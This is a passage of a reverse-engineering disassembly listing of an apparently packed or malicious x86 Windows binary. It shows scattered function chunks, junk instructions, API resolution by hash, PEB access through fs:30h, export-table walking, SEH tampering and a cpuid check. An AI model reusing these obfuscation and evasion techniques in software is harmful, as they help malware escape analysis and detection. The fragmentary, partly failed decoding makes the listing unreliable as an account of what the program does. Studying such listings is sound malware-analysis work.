jmp loc_42B57F
; ---------------------------------------------------------------------------
loc_427716: ; CODE XREF: _94j21ax3:0042BCE9j
and edx, 2E2CACA8h
; =============== S U B R O U T I N E =======================================
sub_42771C proc near ; CODE XREF: sub_426716+4p
; FUNCTION CHUNK AT 00421BBE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004231D7 SIZE 0000000A BYTES
xchg edi, [esp+0]
pop edi
mov esp, ebp
jmp loc_421BBE
sub_42771C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
adc ebp, 18931805h
jmp sub_422034
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_427732: ; CODE XREF: sub_423324-12FBj
call sub_428180
loc_427737: ; CODE XREF: sub_424C37-B4Ej
jmp loc_425642
; END OF FUNCTION CHUNK FOR sub_423324
; =============== S U B R O U T I N E =======================================
sub_42773C proc near ; CODE XREF: sub_42284F:loc_4224A2j
; _94j21ax3:0042B195j ...
; FUNCTION CHUNK AT 004266EB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004294D9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042A016 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042A3A2 SIZE 0000001B BYTES
xchg edx, [esp+0]
pop edx
mov eax, [ebp+8]
cmp dword ptr [eax-1Ch], 0F6h
jz loc_42A3A2
mov eax, [ebp+8]
cmp dword ptr [eax-1Ch], 0F7h
jmp loc_4294D9
sub_42773C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_42775F: ; CODE XREF: sub_42A0CC:loc_4293E0j
adc edi, ecx
jmp loc_42346A
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423C51
loc_427766: ; CODE XREF: sub_423C51:loc_421AEEj
add eax, [ebp-4]
push offset loc_4233D8
jmp loc_423822
; END OF FUNCTION CHUNK FOR sub_423C51
; =============== S U B R O U T I N E =======================================
sub_427773 proc near ; DATA XREF: _94j21ax3:loc_42AFB2o
mov edx, 0A22F8A70h
call sub_422048
mov ds:dword_426F2C, eax
call sub_42574E
mov edx, 0A2CD59D9h
call sub_422048
mov ds:dword_425BD0, eax
retn
sub_427773 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4281A5
loc_427797: ; CODE XREF: sub_4281A5+2808j
push 7693CA35h
loc_42779C: ; CODE XREF: sub_4281A5:loc_429959j
pop large dword ptr fs:0
call sub_42B052
loc_4277A8: ; CODE XREF: sub_42678A+1Fj
or ecx, ecx
jz loc_42933E
mov ebx, [ebx+ecx]
jmp loc_428FF1
; END OF FUNCTION CHUNK FOR sub_4281A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42678A
loc_4277B8: ; CODE XREF: sub_42678A:loc_427DD9j
add edx, 14h
mov ecx, [ebx+edx-8]
or ecx, ecx
jmp loc_4238E4
; END OF FUNCTION CHUNK FOR sub_42678A
; ---------------------------------------------------------------------------
loc_4277C6: ; CODE XREF: _94j21ax3:loc_423184j
call sub_4239A5
push offset loc_4272AC
jmp locret_42362C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426716
loc_4277D5: ; CODE XREF: _94j21ax3:0042448Ej
; sub_426716+10j
popf
and edi, ebp
loc_4277D8: ; CODE XREF: _94j21ax3:00422E1Ej
jmp loc_428EED
; END OF FUNCTION CHUNK FOR sub_426716
; ---------------------------------------------------------------------------
jnb loc_4284DA
jmp sub_42A4DC
; ---------------------------------------------------------------------------
loc_4277E8: ; DATA XREF: sub_422B12+Ao
push 3A1F1A61h
pop ecx
add ecx, 0C623261Fh
mov [ecx], eax
pop ecx
jmp loc_421096
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_4277FD: ; CODE XREF: _94j21ax3:00423FC1j
push offset sub_4238D1
jmp locret_424F87
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_427807: ; CODE XREF: sub_423F55:loc_4246A9j
mov [ebp-8], eax
jmp loc_426694
; END OF FUNCTION CHUNK FOR sub_423F55
; =============== S U B R O U T I N E =======================================
sub_42780F proc near ; CODE XREF: sub_426A83-47CAp
; sub_422B4F+Bp ...
; FUNCTION CHUNK AT 00423105 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423585 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00424570 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042ACCA SIZE 0000000F BYTES
jz sub_426BA2
push ebp
mov ebp, esp
push ecx
cmp ds:dword_42C4A4, 0
jnz loc_42ACCA
jmp loc_423105
sub_42780F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42848B
loc_42782B: ; CODE XREF: sub_42848B-7201j
rol eax, 4
loc_42782E: ; CODE XREF: sub_4221B8:loc_427F89j
call sub_42B075
loc_427833: ; CODE XREF: sub_4286DC+3j
jmp sub_4239A5
; END OF FUNCTION CHUNK FOR sub_42848B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425A09
loc_427838: ; CODE XREF: sub_425A09+9j
jmp loc_422840
; END OF FUNCTION CHUNK FOR sub_425A09
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_160. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_42783E: ; CODE XREF: sub_421D33+76Aj
jz loc_42AB21
jmp loc_425949
; END OF FUNCTION CHUNK FOR sub_421D33
; =============== S U B R O U T I N E =======================================
sub_427849 proc near ; DATA XREF: sub_4225B5+3o
; FUNCTION CHUNK AT 0042207B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422D11 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004237A8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00423802 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00423E39 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004252B5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00428B97 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429F95 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042A598 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B41A SIZE 00000015 BYTES
add esp, 0FFFFFFF8h
mov [ebp-4], eax
loc_42784F: ; CODE XREF: sub_427849-2591j
jno loc_429FA0
mov eax, [ebp-4]
movzx eax, byte ptr [eax]
cmp ds:dword_425BD4[eax*4], 0
jz loc_4252B5
jmp loc_422D11
sub_427849 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_42786E: ; CODE XREF: sub_423324+579Ej
push edi
and ecx, edi
loc_427871: ; CODE XREF: sub_423324:loc_4220E5j
push edx
push 9EEB4BB5h
pop edx
add edx, 615726CFh
xchg edx, [esp+0]
jmp sub_422973
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428180
loc_427886: ; CODE XREF: sub_428180:loc_42818Fj
mov esp, ebp
pop ebp
push ds:dword_42C4A4
retn
; END OF FUNCTION CHUNK FOR sub_428180
; ---------------------------------------------------------------------------
loc_427890: ; CODE XREF: _94j21ax3:004264D7j
jmp locret_424D0C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421047
loc_427895: ; CODE XREF: sub_421047+6E4Fj
; sub_42BAD4:loc_4286ACj
mov eax, [ebp-1Ch]
mov al, [eax]
mov edx, [ebp-20h]
jmp loc_42A8E4
; END OF FUNCTION CHUNK FOR sub_421047
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426AFD
loc_4278A2: ; CODE XREF: sub_426AFD+17j
add ecx, 88C63587h
xchg ecx, [esp+0]
jmp sub_42C057
; END OF FUNCTION CHUNK FOR sub_426AFD
; ---------------------------------------------------------------------------
loc_4278B0: ; CODE XREF: _94j21ax3:0042360Fj
call sub_4239A5
push eax
ror eax, 16h
push esi
push 0E9DA91ACh
jmp loc_423100
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_4278C4: ; CODE XREF: sub_421402:loc_4214BBj
xchg edi, [esp+18h+var_18]
lea eax, [ebp-400h]
push eax
push edi
push 5E8E2F4Fh
pop edi
or edi, 8EF6BDF9h
jmp loc_423794
; END OF FUNCTION CHUNK FOR sub_421402
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42ADA2
loc_4278E1: ; CODE XREF: sub_42ADA2-BFDj
jmp loc_42BB45
; END OF FUNCTION CHUNK FOR sub_42ADA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429629
loc_4278E6: ; CODE XREF: sub_429629:loc_428B24j
and edi, eax
mov ebp, edx
jmp loc_426AE0
; END OF FUNCTION CHUNK FOR sub_429629
; ---------------------------------------------------------------------------
call sub_42ADD6
loc_4278F4: ; CODE XREF: _94j21ax3:0042723Dj
jbe loc_42BE88
jge loc_424AB1
jmp sub_4291BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421F28
loc_427905: ; CODE XREF: sub_421F28+8E8Fj
jl loc_42690F
; END OF FUNCTION CHUNK FOR sub_421F28
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_42790B: ; CODE XREF: sub_4294B3:loc_42847Aj
mov ebx, ebp
; END OF FUNCTION CHUNK FOR sub_4294B3
; START OF FUNCTION CHUNK FOR sub_421F28
loc_42790D: ; CODE XREF: sub_421F28:loc_42702Fj
call sub_4210AA
mov edx, 9E99B23Eh
call sub_4239A5
call sub_422B12
loc_427921: ; CODE XREF: sub_423FCD+4262j
jmp loc_4291FA
; END OF FUNCTION CHUNK FOR sub_421F28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425934
loc_427926: ; CODE XREF: sub_425934-3D43j
jmp loc_42C239
; END OF FUNCTION CHUNK FOR sub_425934
; ---------------------------------------------------------------------------
loc_42792B: ; CODE XREF: _94j21ax3:00429A5Cj
js loc_42A547
adc edx, 0B080ECDCh
and esi, 0B9D2A169h
jmp loc_421B11
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424775
loc_427942: ; CODE XREF: sub_424775+17j
pop eax
add eax, 0D46BB688h
call sub_42B9E8
mov [ebp-8], eax
push 400h
mov eax, [ebp-8]
push eax
jmp loc_42691A
; END OF FUNCTION CHUNK FOR sub_424775
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424839
loc_42795F: ; CODE XREF: sub_424839+54ECj
mov ebp, [ecx]
xchg ebx, [ebp+0]
sub edi, ebx
jmp loc_4245C0
; END OF FUNCTION CHUNK FOR sub_424839
; ---------------------------------------------------------------------------
loc_42796B: ; DATA XREF: sub_421EAD+6o
mov [ebp-4], eax
mov eax, [ebp-4]
mov [ebp-0Ch], eax
xor eax, eax
mov [ebp-8], eax
loc_427979: ; CODE XREF: _94j21ax3:00425749j
js loc_427E72
mov eax, [ebp-0Ch]
cmp byte ptr [eax], 0
jmp loc_42367E
; ---------------------------------------------------------------------------
loc_42798A: ; CODE XREF: _94j21ax3:00429E7Ej
add ebx, 0A65FB7ECh
xchg ebx, ecx
; START OF FUNCTION CHUNK FOR sub_422764
loc_427992: ; CODE XREF: sub_422764:loc_429E69j
rol ebx, 0Ah
xor ebx, 0E021441h
jmp loc_42C3C6
; END OF FUNCTION CHUNK FOR sub_422764
; =============== S U B R O U T I N E =======================================
sub_4279A0 proc near ; DATA XREF: sub_425758+1o
xchg ecx, [esp+0]
mov ebp, ecx
pop ecx
jmp loc_426485
sub_4279A0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push ebp
jmp loc_427131
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_4279B1: ; CODE XREF: sub_4272E9:loc_4297BAj
jnz loc_4246EA
jmp loc_4210DD
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42454E
loc_4279BC: ; CODE XREF: sub_42454E+721Fj
pop edi
sub edi, 77EFE14h
jns loc_422EEC
pop ebp
cdq
jmp loc_422EEA
; END OF FUNCTION CHUNK FOR sub_42454E
; ---------------------------------------------------------------------------
shl edx, 1
jmp sub_4250D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421330
loc_4279D7: ; CODE XREF: sub_421330:loc_4227F0j
call sub_42BA8A
lea eax, [ebp-0Ch]
push edx
mov [esp+4+var_4], eax
mov eax, [ebp-8]
call sub_42B487
; END OF FUNCTION CHUNK FOR sub_421330
; START OF FUNCTION CHUNK FOR sub_423BBD
loc_4279EB: ; CODE XREF: sub_423BBD+Dj
jmp sub_42574E
; END OF FUNCTION CHUNK FOR sub_423BBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4228FF
loc_4279F0: ; CODE XREF: sub_4228FF:loc_424588j
mov byte ptr [eax], 0
mov esp, ebp
push offset sub_42843C
jmp loc_42433A
; END OF FUNCTION CHUNK FOR sub_4228FF
; ---------------------------------------------------------------------------
loc_4279FF: ; DATA XREF: sub_421A4F+49D1o
call sub_42574E
mov edx, 7DA6ACC0h
push edx
push 2C396784h
jmp loc_4266F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429862
loc_427A14: ; CODE XREF: sub_429862:loc_4245C6j
cmp dword ptr [eax-0Ch], 4
jnz loc_422787
push offset loc_42277E
jmp loc_425BB9
; END OF FUNCTION CHUNK FOR sub_429862
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4229FB
loc_427A28: ; CODE XREF: sub_4229FB+Aj
or ecx, 4217D8BCh
and ecx, 0F1692B73h
add ecx, 8FE171D1h
xchg ecx, [esp-4+arg_0]
jmp sub_42574E
; END OF FUNCTION CHUNK FOR sub_4229FB
; ---------------------------------------------------------------------------
mov edx, 0F2B89A19h
call sub_4239A5
push eax
ror eax, 0Dh
jmp loc_42B2DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AE5A
loc_427A55: ; CODE XREF: sub_42AE5A:loc_425FD4j
xor edi, 0F38499DFh
sub ecx, edi
pop edi
call sub_42445A
; END OF FUNCTION CHUNK FOR sub_42AE5A
; START OF FUNCTION CHUNK FOR sub_423717
loc_427A63: ; CODE XREF: sub_423717-1A35j
jmp loc_423727
; END OF FUNCTION CHUNK FOR sub_423717
; =============== S U B R O U T I N E =======================================
sub_427A68 proc near ; DATA XREF: sub_422A20+4A8Co
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00421A16 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00422F66 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00424071 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424303 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004246D5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042A741 SIZE 0000000F BYTES
push 979D2561h
loc_427A6D: ; CODE XREF: sub_42C1AE:loc_425896j
add [esp+4+var_4], 68ADF725h
pushf
push 54009859h
pop eax
xor eax, 695742CEh
add eax, ebp
jmp loc_424071
sub_427A68 endp
; ---------------------------------------------------------------------------
xor esi, ebp
jmp loc_42221D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A9E7
loc_427A8F: ; CODE XREF: sub_42A9E7+8j
mov esp, ebp
pop ebp
mov eax, ds:dword_423418
or eax, eax
loc_427A9A: ; CODE XREF: sub_4294B3:loc_4299A5j
jnz loc_427FED
jmp loc_4225FE
; END OF FUNCTION CHUNK FOR sub_42A9E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_427AA5: ; CODE XREF: sub_42B9CF-2C8Dj
test al, al
jz nullsub_86
call sub_427ABD
retn
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
loc_427AB3: ; CODE XREF: _94j21ax3:0042C076j
jmp loc_42B79E
; ---------------------------------------------------------------------------
loc_427AB8: ; CODE XREF: _94j21ax3:00428D76j
jmp loc_42576C
; =============== S U B R O U T I N E =======================================
sub_427ABD proc near ; CODE XREF: sub_4272E9:loc_425144p
; sub_42B9CF-3F22p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00422BA6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042760E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A06C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B6DF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042BAF2 SIZE 0000000B BYTES
jz loc_422BA6
loc_427AC3: ; CODE XREF: sub_423FCD:loc_4291CFj
mov eax, offset byte_4256A8
jmp loc_42A06C
sub_427ABD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_427ACD: ; CODE XREF: sub_422EB0-1BF0j
test ebx, ebp
jmp loc_42813D
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
loc_427AD4: ; CODE XREF: _94j21ax3:loc_4257E2j
; _94j21ax3:0042B58Cj
push 21834123h
pop eax
or eax, 2D9729E6h
and eax, 0A7BD6487h
jmp loc_42A5F1
; =============== S U B R O U T I N E =======================================
sub_427AEB proc near ; CODE XREF: sub_427D03+3p
; _94j21ax3:0042948Ej
; FUNCTION CHUNK AT 004211AE SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00422DC2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AED9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042C33E SIZE 0000000A BYTES
mov [esp+0], esi
pop esi
or dword ptr [eax-8], 8
jmp loc_42AED9
sub_427AEB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_427AF8: ; CODE XREF: sub_42484C+361Bj
; sub_42B3E4+4j
js loc_42736B
jmp loc_429CD7
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
locret_427B03: ; CODE XREF: _94j21ax3:loc_428AA3j
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BEDC
loc_427B04: ; CODE XREF: sub_42BEDC+19j
jmp loc_425A4A
; END OF FUNCTION CHUNK FOR sub_42BEDC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_427B09: ; CODE XREF: sub_42C0BC-504j
jnz loc_421A31
jmp loc_428195
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
loc_427B14: ; DATA XREF: sub_421644:loc_421901o
push 0
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_427B16: ; CODE XREF: sub_4272E9:loc_426DF2j
mov edx, esp
push edx
push 85B185D2h
add dword ptr [esp+0], 7A4E7A2Eh
jmp loc_428ADC
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422AD5
loc_427B2A: ; CODE XREF: sub_422AD5:loc_42110Fj
add esi, 0A85ECD13h
jmp loc_4264C2
; END OF FUNCTION CHUNK FOR sub_422AD5
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427B35 proc near ; CODE XREF: _94j21ax3:0042BE7Ep
push ebp
mov ebp, esp
add esp, 0FFFFFF90h
call sub_42AEB2
sub_427B35 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_421457
loc_427B40: ; CODE XREF: sub_421457:loc_426AD2j
or eax, eax
loc_427B42: ; CODE XREF: sub_423324:loc_4283C5j
jnz loc_42A4D2
call sub_42574E
mov edx, 17B3C1CFh
call sub_4239A5
push eax
ror eax, 0Dh
push offset loc_428A3F
jmp loc_4295BB
; END OF FUNCTION CHUNK FOR sub_421457
; ---------------------------------------------------------------------------
jg loc_4230AA
jmp sub_42552D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_427B70: ; CODE XREF: sub_42C1AE:loc_42AA02j
and eax, 0FFFh
add [esi], eax
and edx, 0FFFFDDFFh
xor [esi], edx
mov eax, 80000000h
cpuid
jmp loc_42C228
; END OF FUNCTION CHUNK FOR sub_42C1AE
; ---------------------------------------------------------------------------
loc_427B8B: ; DATA XREF: sub_42BDF4:loc_425762o
pop ecx
call sub_42552D
; START OF FUNCTION CHUNK FOR sub_423324
loc_427B91: ; CODE XREF: sub_423324+50C3j
jmp loc_42A93B
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_427B96: ; CODE XREF: sub_423F55-A5Fj
pop eax
xor eax, 0E5D4B817h
call sub_425A09
jmp loc_423DFA
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
mov dword ptr [ebp-8], 1
jmp loc_42B291
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_427BB3: ; CODE XREF: sub_42284F+F27j
; sub_42284F+56A6j ...
mov eax, [ebp-10h]
push eax
push eax
jmp loc_42BC1F
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A254
loc_427BBD: ; CODE XREF: sub_42A254-5D0Bj
mov edx, [eax]
mov eax, 2EEB8924h
shl ebp, 15h
jmp loc_42BD9C
; END OF FUNCTION CHUNK FOR sub_42A254
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42574E
loc_427BCC: ; CODE XREF: sub_42574E:loc_425753j
pop esi
or esi, 41411882h
rol esi, 0Bh
add esi, 975E4E84h
xchg esi, [esp-4+arg_0]
jmp loc_42BAA7
; END OF FUNCTION CHUNK FOR sub_42574E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425983
loc_427BE4: ; CODE XREF: sub_425983:loc_425994j
mov ebx, [eax+18h]
mov ecx, [ebx+3Ch]
mov ecx, [ebx+ecx+78h]
or ecx, ecx
jz loc_42AC48
push offset loc_4216AE
jmp nullsub_50
; END OF FUNCTION CHUNK FOR sub_425983
; ---------------------------------------------------------------------------
mov eax, [ebp-30h]
push edi
push 8C91A352h
mov edi, offset word_426942
xchg edi, [esp]
jmp loc_4282E6
; ---------------------------------------------------------------------------
mov al, 1
pop edx
call edx ; GetModuleHandleA
xor eax, eax
push ecx
push 0C536793Dh
pop ecx
add ecx, 8B09E806h
jmp loc_426ABD
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421689
loc_427C30: ; CODE XREF: sub_421689+A2j
jmp loc_42A2F8
; END OF FUNCTION CHUNK FOR sub_421689
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427C35 proc near ; DATA XREF: sub_42426B+6DB4o
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 0042362D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424EA5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042B170 SIZE 0000000D BYTES
push ebp
mov ebp, esp
push ecx
xchg ebp, edi
jmp loc_42B170
sub_427C35 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42266A
loc_427C40: ; CODE XREF: sub_423D25+4j
; sub_42266A:loc_42650Fj ...
jz loc_42C324
push eax
push offset sub_424EE4
jmp nullsub_51
; END OF FUNCTION CHUNK FOR sub_42266A
; ---------------------------------------------------------------------------
test al, al
jz loc_427C6F
call nullsub_219
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425324
loc_427C5F: ; CODE XREF: sub_425324+3663j
jmp loc_421DBD
; END OF FUNCTION CHUNK FOR sub_425324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421A9F
loc_427C64: ; CODE XREF: sub_421A9F+16j
jmp loc_42C0A3
; END OF FUNCTION CHUNK FOR sub_421A9F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_219. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B856
loc_427C6A: ; CODE XREF: sub_42B856-2BE0j
jmp loc_428CF9
; END OF FUNCTION CHUNK FOR sub_42B856
; ---------------------------------------------------------------------------
loc_427C6F: ; CODE XREF: _94j21ax3:00427C53j
call sub_42C057
jmp loc_425BB3
; ---------------------------------------------------------------------------
loc_427C79: ; DATA XREF: sub_42A0CC-1B1Co
add eax, 0B2A66423h
call sub_425A09
jmp loc_429B2C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_427C89: ; CODE XREF: sub_42A0CC-6806j
jo loc_4234D4
call nullsub_7
mov eax, large fs:30h
add eax, 22A968CCh
jmp loc_423A10
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
dw 8A0Fh
dd 3815h
; =============== S U B R O U T I N E =======================================
sub_427CAC proc near ; CODE XREF: sub_428BBD+7p
; FUNCTION CHUNK AT 0042414E SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00428BA7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A533 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042B818 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BE32 SIZE 00000011 BYTES
xchg ebx, [esp+0]
pop ebx
push eax
jmp loc_428BA7
sub_427CAC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_427CB6 proc near ; DATA XREF: sub_423DB5+415Do
; FUNCTION CHUNK AT 0042B1DF SIZE 00000008 BYTES
cmp ds:dword_4256CC, 0
jnz loc_42B1DF
lea eax, [ebp-14h]
push eax
push edx
jmp loc_423369
sub_427CB6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A709
loc_427CCD: ; CODE XREF: sub_42A709+9j
mov eax, [ebp+var_4]
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
test byte ptr [eax-8], 80h
jmp loc_421D1B
; END OF FUNCTION CHUNK FOR sub_42A709
; ---------------------------------------------------------------------------
ja loc_421FD9
jmp loc_422603
; =============== S U B R O U T I N E =======================================
sub_427CEA proc near ; CODE XREF: sub_42BAC2+6p
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00422F29 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428AA8 SIZE 0000000E BYTES
mov [esp+0], eax
push eax
push eax
push 9B28A7E3h
pop eax
sub eax, 0F090E65Ch
rol eax, 6
jmp loc_428AA8
sub_427CEA endp
; =============== S U B R O U T I N E =======================================
sub_427D03 proc near ; DATA XREF: sub_42B3E4:loc_425965o
; FUNCTION CHUNK AT 00428459 SIZE 00000005 BYTES
mov eax, [ebp+8]
call sub_427AEB
loc_427D0B: ; CODE XREF: _94j21ax3:loc_423CAFj
call sub_42BFF0
jmp loc_428459
sub_427D03 endp
; =============== S U B R O U T I N E =======================================
sub_427D15 proc near ; CODE XREF: sub_42BB39:loc_4271FDj
; FUNCTION CHUNK AT 004276BF SIZE 00000023 BYTES
add esp, 0FFFFFFECh
mov eax, (offset loc_426F36+2)
call sub_424E34
jmp loc_4276BF
sub_427D15 endp
; ---------------------------------------------------------------------------
not edi
jmp sub_4266F6
; ---------------------------------------------------------------------------
locret_427D2E: ; CODE XREF: _94j21ax3:0042272Fj
; _94j21ax3:004237F7j
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B43F
loc_427D2F: ; CODE XREF: sub_42B43F+14j
jmp loc_42AF42
; END OF FUNCTION CHUNK FOR sub_42B43F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427004
loc_427D34: ; CODE XREF: sub_427004-5AF1j
mov ebp, [edi]
add edi, 984F3666h
and edx, 0BD040CF6h
loc_427D42: ; CODE XREF: sub_427004-5AF9j
push offset sub_4296F7
jmp nullsub_143
; END OF FUNCTION CHUNK FOR sub_427004
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_427D4C: ; CODE XREF: sub_42A0CC:loc_42A183j
xor edi, edx
jmp loc_4234BE
; END OF FUNCTION CHUNK FOR sub_42A0CC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427D53 proc near ; DATA XREF: sub_424EB4:loc_42C31Ao
; FUNCTION CHUNK AT 0042189C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00421E32 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004229C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423832 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042ABE1 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push ecx
loc_427D57: ; CODE XREF: sub_429862-2238j
mov esp, ebp
pop ebp
mov eax, ds:dword_42407C
jmp loc_42189C
sub_427D53 endp
; =============== S U B R O U T I N E =======================================
sub_427D65 proc near ; CODE XREF: sub_42C1AE-97F2p
; _94j21ax3:0042B5B7j
; FUNCTION CHUNK AT 00421A7E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00421E46 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00423114 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00423D6F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424298 SIZE 00000017 BYTES
